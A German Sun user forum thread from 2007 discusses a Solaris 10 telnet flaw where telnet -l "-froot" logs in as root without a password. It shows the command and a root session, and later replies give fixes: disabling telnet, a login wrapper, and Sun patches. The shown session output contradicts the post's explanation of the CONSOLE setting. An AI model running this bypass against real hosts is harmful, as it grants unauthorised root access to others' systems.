Superuser

Autor Thema: Telnet ohne Passwort  (Gelesen 3128 mal)

Offline signal_15

  • Sobl Master
  • ****
  • Beiträge: 426
    • Rechenzentrum Amper
Telnet ohne Passwort
« am: 12. Februar 2007, 15:47:40 »
Hi,

in der full-disclosure mailing-liste habe ich heute was interessantes gelesen und musste es gleich ausprobieren. und in der tat, es funktioniert bei meiner sol10 buechse. leider habe ich nur eine und die ist noch dazu ohne patches. ich bin mir nicht ganz sicher, aber es koennte solaris10 10/06 sein!? (wenn es das ueberhaupt gibt. wie bekomme ich raus auf welchem 'level' das os sich befindet?)

probiert mal folgendes von einer anderen solaris kiste aus.

   telnet -l "-froot" [hostname]

in der /etc/default/login ist die zeile mit der 'Console' nicht kommentiert. somit bekomme ich sofort die meldung, dass ich nicht an der system console bin und mich schleichen soll. anders sieht es aus wenn die zeile kommentiert wird. mit weiteren useraccounts funktioniert es ebenfalls, soweit man die schreibweise des benutzerkontos kennt.


odin~# cat /etc/default/login | grep -i console
# If CONSOLE is set, root can only login on that device.
# CONSOLE=/dev/console
ismine~# telnet -l "-froot" odin
Trying 192.168.2.17...
Connected to odin.wwhsnet.rz-amper.com.
Escape character is '^]'.


Commodore AmigaOS 5.9

Not on system console
Connection to odin.wwhsnet.rz-amper.com closed by foreign host.


odin~# cat /etc/default/login | grep -i console
# If CONSOLE is set, root can only login on that device.
CONSOLE=/dev/console
ismine~# telnet -l "-froot" odin
Trying 192.168.2.17...
Connected to odin.wwhsnet.rz-amper.com.
Escape character is '^]'.


Commodore AmigaOS 5.9

Last login: Tue Nov 28 19:34:50 on console
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
You have fucking new mail.
odin~#

ct,

sonnenblen.de - Das unabhängige Sun User Forum

Telnet ohne Passwort
« am: 12. Februar 2007, 15:47:40 »

Offline Drusus

  • Sobl Master
  • ****
  • Beiträge: 424
  • Intentionally left blank
Re: Telnet ohne Passwort
« Antwort #1 am: 12. Februar 2007, 18:12:44 »
Moin,

von der Sicherheitsluecke sind alle Solaris 10 Systeme betroffen (und natuerlich OpenSolaris bzw. Solaris Express). Aeltere Solaris Releases hingegen haben das Problem nicht.

Generell wuerde ich eh ssh empfehlen. Wer noch telnet am laufen hat, kann es mit diesem Befehl abstellen:

# svcadm disable telnet

Patches gibt es von Sun noch nicht (zumindest nicht auf SunSolve frei verfuegbar).

Tschau,
  Drusus.

p.s. Deine OS Release erhaeltst du mit "uname -r". Wenn da 5.10 oder 5.11 rauskommt, dann ist man betroffen und sollte den Telnet Service abschalten.

Offline meik

  • Sobl Bachelor
  • ***
  • Beiträge: 187
Re: Telnet ohne Passwort
« Antwort #2 am: 12. Februar 2007, 18:44:55 »
leider habe ich nur eine und die ist noch dazu ohne patches. ich bin mir nicht ganz sicher, aber es koennte solaris10 10/06 sein!? (wenn es das ueberhaupt gibt. wie bekomme ich raus auf welchem 'level' das os sich befindet?)

Das steht in der Datei /etc/release:

# [b]cat /etc/release[/b]
                        Solaris 10 1/06 s10x_u1wos_19a X86
           Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.
                        Use is subject to license terms.
                           Assembled 07 December 2005
#

Zu dem Bug müßte ich mal etwas suchen, wenn das schon älter ist, gibt es da bestimmt einen Patch.

mdjr

  • Gast
Re: Telnet ohne Passwort
« Antwort #3 am: 12. Februar 2007, 22:58:28 »
Hallo.

Das einfachste wäre natürlich in.telnetd neu zu compilieren und dabei vorher so zu verändern, dass bei getenv("USER") auf Plausibilität geprüft wird. Leider ist mir das Runterladen von opensolaris.org (samt aller notwendigen .h-Dateien zu langwierig).

Ich habe daraufhin /usr/sbin/in.telnetd kopiert (Sicherheitskopie) und in einen Binäreditor (bei mir Gnome ghex2) genommen und alle /bin/login durch /bin/logtl ersetzt (4 Vorkommen).

Dann habe ich mit folgendem C-Code die Datei /bin/logtl erzeugt:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc,char **argv)
{
    char *argl[1000];
    int i;
    static const char * const loginbin="/bin/login";
    if(getenv("USER"))
    {
        printf("telnet -l is not allowed on this system.\n");
        argl[1]=NULL;
    }
    else
    {
        for(i=1;i<argc;i++) argl[i]=argv[i];
        argl[argc]=0;
    }
    argl[0]=(char *)loginbin;
    execv(loginbin,argl);
    printf("Could not execute /bin/login.\n");
    return 1;
}

Der Server blockt jetzt Verbindungen mit der "-l"- Option ab und fragt immer nach Username und Passwort.

Übrigens: Ohne Patch kann man selbst bei "CONSOLE=..." über "telnet -l -fuser localhost" außer root alle Benutzer wie bei "su" nur ohne Passwort erreichen => nicht gut!!

Martin

Offline Drusus

  • Sobl Master
  • ****
  • Beiträge: 424
  • Intentionally left blank
Re: Telnet ohne Passwort
« Antwort #4 am: 13. Februar 2007, 13:28:54 »
Moin,

der Bug ist zwar uralt aber in Solaris 10 neu eingebaut wurden. Inzwischen gibts dazu einen Sun Alert unter http://sunsolve.sun.com/search/document.do?assetkey=1-26-102802-1. Die Patches dazu gibt es noch nicht. Es gibt allerdings Security Fixes um das Loch zu stopfen. Diese liegen unter http://sunsolve.sun.com/tpatches zum Download bereit.

Tschau,
  Drusus.

Offline Drusus

  • Sobl Master
  • ****
  • Beiträge: 424
  • Intentionally left blank
Re: Telnet ohne Passwort
« Antwort #5 am: 14. Februar 2007, 14:01:23 »
Moin,

inzwischen sind die Patches da (der o.g. Sun Alert zeigt nun auf die Patch-Nummern und diese sind auch frei verfuegbar).

Tschau,
  Drusus.